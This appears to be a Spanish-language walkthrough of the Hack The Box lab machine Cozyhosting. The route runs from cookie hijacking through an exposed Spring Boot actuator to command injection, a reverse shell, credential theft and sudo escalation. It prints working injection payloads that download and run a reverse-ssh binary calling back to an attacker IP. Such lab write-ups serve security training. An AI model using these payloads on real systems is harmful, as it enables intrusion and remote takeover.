HTB Cozyhosting

22 de ene. de 2024

(Nivel Fácil)

Enumeración:

Empezamos revisando los puertos que esten abiertos con nmap:

Intentamos acceder a la máquina por el puerto 80. Y nos presentan el siguiente sitio:

Revisando un poco de la página parece que utiliza un template que se llama NiceAdmin y FlexStart, los dos de BoostrapMade. Si intentamos ir a cualquier página que tire error, nos damos cuenta que recibimos el siguiente texto:

Si buscamos como se presenta el error, nos damos cuenta que usa un framework llamado SprintBoot, (buscando el error en google).

Ahora, sí, sabiendo esto, buscamos una seclist que tenga algunas palabras que sean de este framework, de mi lado, encontré esta:

SecLists/Discovery/Web-Content/spring-boot.txt at master · danielmiessler/SecLists
SecLists is the security tester's companion. It's a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords,…

Intentamos hacer un directory listing con gobuster:

Si intentamos ir a ese directorio "actuator", vemos los siguientes enlaces:

Si hacemos click en "Sessions" podemos ver que hay un usuario y una cookie de session, esto nos servirá con Burp!

Acceso Inicial

Ya que hemos encontrado una cookie de session, intentemos usarla como parámetro de autenticación en BurpSuite. Podemos hacerlo de la siguiente manera:

1-Abrimos Burp
2-Usamos el navegador con Proxy encendido
3-Intentamos ir al sitio "http://cozyhosting.htb/login".
4-Vamos a obtener algo como lo siguiente:

Cambiemos la cookie que tenemos por la que encontramos, y usemos el /admin en vez de /login.

Notar también que cambiamos el URI de /login a /admin: 

Listo :), si volvemos a nuestro browser de burp, estamos adentro del Dashboard de la página:

Podemos click por todo lado, pero en la parte de abajo de la pagina tenemos algo interesante:

Ya que tenemos Burp abierto, vamos a ver que hace este diálogo, analizando la respuesta que tenemos del servidor cuando lo enviamos: 

También vieron ese POST? Parece estar ejecutando SSH:

Podemos intentar hacer una inyección de comando:

Jackpot :). Ahora podemos intentar enviar un comando para hacer un reverse-shell, pero esta vez vamos a intentar hacer algo con "reverse ssh". De la siguiente manera:

Vamos a GitHub y bajamos el paquete de reversessh:

GitHub - Fahrj/reverse-ssh: Statically-linked ssh server with reverse shell functionality for CTFs and such
Statically-linked ssh server with reverse shell functionality for CTFs and such - GitHub - Fahrj/reverse-ssh: Statically-linked ssh server with reverse shell functionality for CTFs and such

Usando nuestra vulnerabilidad de inyección de comando, subimos los archivos, reemplazando el argumento que tiene username por los siguientes comandos:

;wget${IFS}http://10.10.14.8/reverse-sshx64${IFS}-P${IFS}/tmp;#
;chmod${IFS}777${IFS}/tmp/reverse-sshx64;#

Iniciamos el listener en nuestra máquina:

En la máquina de nosotros ejecutamos el reverse ssh:
./reverse-sshx64 -v -l -p 443

Y ejecutamos por último en el servidor víctima:


;/tmp/reverse-sshx64${IFS}-p${IFS}443${IFS}10.10.14.8;#

Boom!

Ahora, solo tenemos que hacer ssh a 127.0.0.1 en el puerto 8888. Segun las indicaciones de github, ponemos el password y listo!

User Flag:

Gracias a Linpeas podemos encontrar lo siguiente: 

En el directorio donde entramos por defecto, vemos"cloudhosting.jar", isi lo abrimos y buscamos el siguiente path, vemos  /BOOT-INF/classes/application.properties y ahi vemos la configuracion para conectarse con"Postgres DB". Los credenciales de jdbc estan en texto plano.

Podemos consultar los comandos de Postgres en el siguiente en la enlace:

PostgreSQL: Basic psql Commands
psql is a command-line interface used to perform various database tasks efficiently. For instance, using psql different commands can be executed to access, cre…

Podemos usar el siguiente comnado para conectarnos a la base de datos:

postgresql://<usuario>:<password_encontrado>@127.0.0.1/$cozyhosting

cozyhosting siendo el nombre de la base de datos y los otros datos los credenciales.

Adicional a esto, usamos los comandos en el screenshots de abajo:

Usamos hashcat o John para encontrar el hash. Y con eso intentamos intentar con el usuario josh (que se encuentra en el /home directory pero que no tenemos acceso).

Escalacion:

Uno de los métodos más sencillos es ver si existe algún proceso o herramienta que pueda correr en sudo con el comando "sudo -l"

Como SSH se puede correr como root, podemos buscar en GTFObin a ver si existe un método para escalar privilegios y si:

ssh | GTFOBins

Buscamos el flag en el root folder y listo.